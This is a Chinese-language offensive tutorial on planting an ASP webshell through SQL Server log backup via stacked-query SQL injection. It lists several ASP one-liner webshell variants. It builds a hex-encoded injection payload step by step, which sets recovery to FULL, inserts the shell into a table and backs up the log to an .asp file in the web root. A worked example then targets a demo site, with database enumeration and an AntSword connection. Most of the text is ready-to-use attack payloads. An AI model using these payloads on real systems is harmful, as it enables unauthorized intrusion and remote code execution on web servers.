我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
- 一、SQLSERVER 日志备份相关概念
- 1、SQLSERVER的备份
- 2、数据库故障还原类型
- 3、ASP一句话:
- 4、此时我们就可以通过备份log文件,得到webshell了
- 5、优化webshell:
- 6、最终形成的payload:
- 7、如何判断是否拿到Webshell
- 二、SQLSERVER+ASP 日志备份拿webshell示例
- 1、判断数据库名:mydb
- 2、备份日志,拿webshell
- 3、判断是否写入webshell
- 4、蚁剑连接
一、SQLSERVER 日志备份相关概念
1、SQLSERVER的备份
(1)差异备份经常会出错的,不稳定。
(2)LOG日志备份很稳定。
2、数据库故障还原类型
数据库故障还原类型默认是简单类型的,这时候不能够对日志文件进行备份。如果我们拥有权限,只要修改一下属性就可以。由于不能去企业管理器中修改,只需要使用一段SQL语句即可把数据库的还原类型设置为完全还原类型:
alter database 数据库名 set recovery FULL;
3、ASP一句话:
<%execute(request("a"))%><%25Execute(request("a"))%25> <%ExeCute(request("a"))%>0x3C25657865637574652872657175657374282261222929253E%><%execute request("a")%><%<script language&#61;Vbscript runat&#61;server>execute request("a")</Script> <%%25Execute(request("a"))%%25>
4、此时我们就可以通过备份log文件&#xff0c;得到webshell了
create table cmd123 (a image);insert into cmd123 (a) values (&#39;<%Execute(request("a"))%>&#39;);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\a.asp&#39;;
5、优化webshell&#xff1a;
&#xff08;1&#xff09;首先让注入的时候不出现单引号&#xff0c;十六进制编码
create table cmd123 (a image);insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\a.asp&#39;;
&#xff08;2&#xff09;其次减小这个webshell的长度以及提高成功率&#xff0c;初始化日志
backup log 数据库名 to disk &#61; &#39;c:\\xxx\\log.bak&#39; with init;create table cmd123 (a image);insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\a.asp&#39;;
&#xff08;3&#xff09;还可以再减小这个webshell的长度以及提高成功率&#xff0c;也就是在初始化之前之前建表
create table cmd123 (a image);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\log.bak&#39; with init;insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\a.asp&#39;;
&#xff08;4&#xff09;最后&#xff0c;对于我们自定义的的cmd表&#xff0c;可能库里面本来就存在&#xff0c;假如存在的话&#xff0c;就会报错&#xff0c;所以我们可以用一条if语句判断&#xff0c;若存在就删除。
IF EXISTS(select table_name from information_schema.tables where table_name&#61;&#39;cmd123&#39;)drop table cmd123;create table cmd123 (a image);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\log.bak&#39; with init;insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\a.asp&#39;;
&#xff08;5&#xff09;我们成功写入webshell后&#xff0c;删除自定义的cmd123表
IF EXISTS(select table_name from information_schema.tables where table_name&#61;&#39;cmd123&#39;)drop table cmd123;create table cmd123 (a image);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\log.bak&#39; with init;insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\a.asp&#39;;drop table cmd123;
6、最终形成的payload&#xff1a;
&#xff08;1&#xff09;payload解释&#xff1a;
alter database 数据库名 set recovery FULL;IF EXISTS(select table_name from information_schema.tables where table_name&#61;&#39;cmd123&#39;)drop table cmd123; create table cmd123 (a image);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\log.bak&#39; with init;insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\a.asp&#39;;drop table cmd123;
&#xff08;2&#xff09;由于SQLSERVER允许多行操作&#xff0c;也就是一行可以执行多条语句&#xff0c;不同语句直接通过分号分割开&#xff0c;因此payload可以在一行内提交&#xff0c;如下所示&#xff1a;
假如此时前置查询是以?id传参的&#xff1a;
?id&#61;1;alter database 数据库名 set recovery FULL;IF EXISTS(select table_name from information_schema.tables where table_name&#61;&#39;cmd123&#39;)drop table cmd123;create table cmd123 (a image);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\log.bak&#39; with init;insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);backup log 数据库名 to disk &#61; &#39;c:\\xxx\\a.asp&#39;;drop table cmd123;
7、如何判断是否拿到Webshell
用execute正常备份出来的asp文件&#xff0c;在页面访问该asp文件的时候是有错误提示的&#xff0c;当你的显示500错误时&#xff0c;请你将的IE错误提示打开&#xff0c;当显示Microsoft Vbscript 运行时错误 错误 ‘800a000d’
类型不匹配: ‘execute’ 的时候表示你已经成功了&#xff0c;连接吧&#xff01;&#xff01;&#xff01;
&#xff08;1&#xff09;IE浏览器设置&#xff0c;打开页面提示
&#xff08;2&#xff09;成功写入的页面显示&#xff1a;
二、SQLSERVER&#43;ASP 日志备份拿webshell示例
1、判断数据库名&#xff1a;mydb
payload&#xff1a;?id&#61;1 union select null,db_name(),null
2、备份日志&#xff0c;拿webshell
payload&#xff1a;?id&#61;1;alter database mydb set recovery FULL;IF EXISTS(select table_name from information_schema.tables where table_name&#61;&#39;cmd123&#39;)drop table cmd123;create table cmd123 (a image);backup log mydb to disk &#61; &#39;c:\\inetpub\\wwwroot\\www.demo1.com\\log.bak&#39; with init;insert into cmd123 (a) values (0x3C25657865637574652872657175657374282261222929253E);backup log mydb to disk &#61; &#39;c:\\inetpub\\wwwroot\\www.demo1.com\\a.asp&#39;;drop table cmd123;
后台也成功的出现了83kb的a.asp文件&#xff1a;&#xff08;这一步可以不要&#xff0c;我是在后台的网站目录下验证是否真的写入成功&#xff09;
3、判断是否写入webshell
访问a.asp页面&#xff1a;
4、蚁剑连接